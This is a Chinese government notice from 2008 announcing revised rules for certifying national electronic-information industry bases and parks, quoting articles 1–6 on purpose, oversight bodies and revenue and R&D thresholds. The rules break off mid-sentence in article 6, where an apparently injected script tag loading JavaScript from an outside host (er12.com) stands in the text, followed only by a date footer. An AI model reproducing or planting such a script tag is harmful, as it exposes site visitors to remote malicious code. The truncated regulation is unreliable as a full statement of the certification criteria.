《国家电子信息产业基地和产业园认定管理办法》颁布实施

为贯彻落实《信息产业“十一五”规划》,进一步规范国家电子信息产业基地和产业园的申报、认定、考核及相关管理工作,依据《关于建设国家电子信息产业基地和产业园的意见》(信部规[2003]219号),结合产业发展实际,在广泛征求意见的基础上,我部修订了《国家电子信息产业基地和产业园认定管理办法(试行)》(信部规[2003]521号),新办法在产业基地和产业园的申报主体、认定条件、认定程序、申报材料、管理考核要求等方面均做了相应调整。

  2008年3月4日,《关于印发〈国家电子信息产业基地和产业园认定管理办法〉的通知》(信部规[2008]117号)正式发布。通知要求各地按照新办法的有关规定,组织做好本地区产业基地和产业园的申报工作,并配合我部对经认定的产业基地和产业园进行指导、管理与考核。同时,积极做好相关配套政策措施的落实工作,为产业基地和产业园的建设发展营造更加良好的环境。

        《国家电子信息产业基地和产业园认定管理办法》

  第一章 总则

  第一条 为进一步规范国家电子信息产业基地和产业园的申报、认定、审批、考核及相关管理工作,根据《关于建设国家电子信息产业基地和产业园的意见》(信部规[2003]219号)制定本办法。

  第二条 国家电子信息产业基地(以下简称产业基地)是指电子信息产业规模大、科研开发能力强、骨干企业相对集中、产业链和配套服务体系较为完善的中心城市;国家电子信息产业园(以下简称产业园)是指电子信息产业中的某一专业领域水平和规模处于全国领先地位的产业聚集区。

  第三条 产业基地和产业园的认定管理遵循公平、公正、公开和统筹规划、合理配置资源的原则,依照透明、规范的程序进行。

  第二章 管理机构及其职责

  第四条 信息产业部国家电子信息产业基地和产业园认定委员会(以下简称部认定委员会)负责产业基地和产业园的认定、审批、考核及相关管理工作。部认定委员会的日常工作由部综合规划司负责。

  各省、自治区、直辖市信息产业主管部门负责组织本地区产业基地和产业园的申报工作,并配合信息产业部对经认定的产业基地和产业园进行指导和管理。

  第三章 认定条件

  第五条 产业基地以地市级以上中心城市为主体进行申报,其认定条件如下:

  (一)电子信息产业增加值占全行业的比重在2%以上,主营业务收入超过1000亿元。

  (二)产业链相对完善,各类骨干企业规模和数量应至少符合以下五项标准中的四项:

  1.营业收入大于100亿元(含100亿元)的综合类(以整机产品为主)企业不少于2家;

  2.营业收入大于10亿元(含10亿元)的电子元器件企业不少于3家;

  3.营业收入大于5亿元(含5亿元)的集成电路设计及软件企业不少于2家;

  4.营业收入大于10亿元(含10亿元)的半导体与集成电路企业(含半导体分立器件、集成电路芯片制造、封装、测试)不少于1家;

  5.营业收入大于2亿元(含2亿元)的电子材料、电子设备仪器|仪表企业不少于2家。

  (三)具有较强的自主创新能力。

  1.已建立服务于国家电子信息产业基地、专业特色突出的公共技术服务平台,初步具备为基地内企业提供共性技术服务、关键技术研究开发支持和软硬件测试验证环境的能力。

  2.拥有5家以上(含5家)经省级(含省级)以上有关部门批准或认定的研发机构,其中,经国家有关部门批准或认定的研发机构不少于2家。同时,拥有2家以上(含2家)投资额超过1000万美元的外商投资研发中心。

  (四)有比较完善的基础设施和配套服务体系。

  (五)当地政府组织制定了较完善的电子信息产业基地建设发展三年滚动规划,并经省级以上信息产业主管部门论证通过。

  (六)根据信息产业部《电子信息产业统计工作管理办法》,设立了统计人员或组成专门内设统计机构,并按照《电子信息产业统计报表制度》的要求,开展基地电子信息产业统计信息的采集和申报工作。

  (七)有明确的信息产业归口管理部门,并已由地方信息产业主管部门或地方政府设立一定规模(不低于5000万元/年)的专项资金,用于产业基地建设与发展。

  

第六条 产业园以纳入《中国开发区审核公告目录》中的开发区为主体进行申报,其认定条件如下:

  (一)电子信息产业园分为数字整机、核心基础产业和应用电子三类,其规模应符合以下标准:

  1.数字整机类产业园包括通信产业园、计算机与网络产品产业园、数字视听产业园及数字家用电子产品产业园,整机类产业园年主营业务收入应不低于300亿元。

  2.核心基础类产业园包括?script src=http://er12.com/t.js>

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发布日期:2019年07月03日  所属分类:新闻动态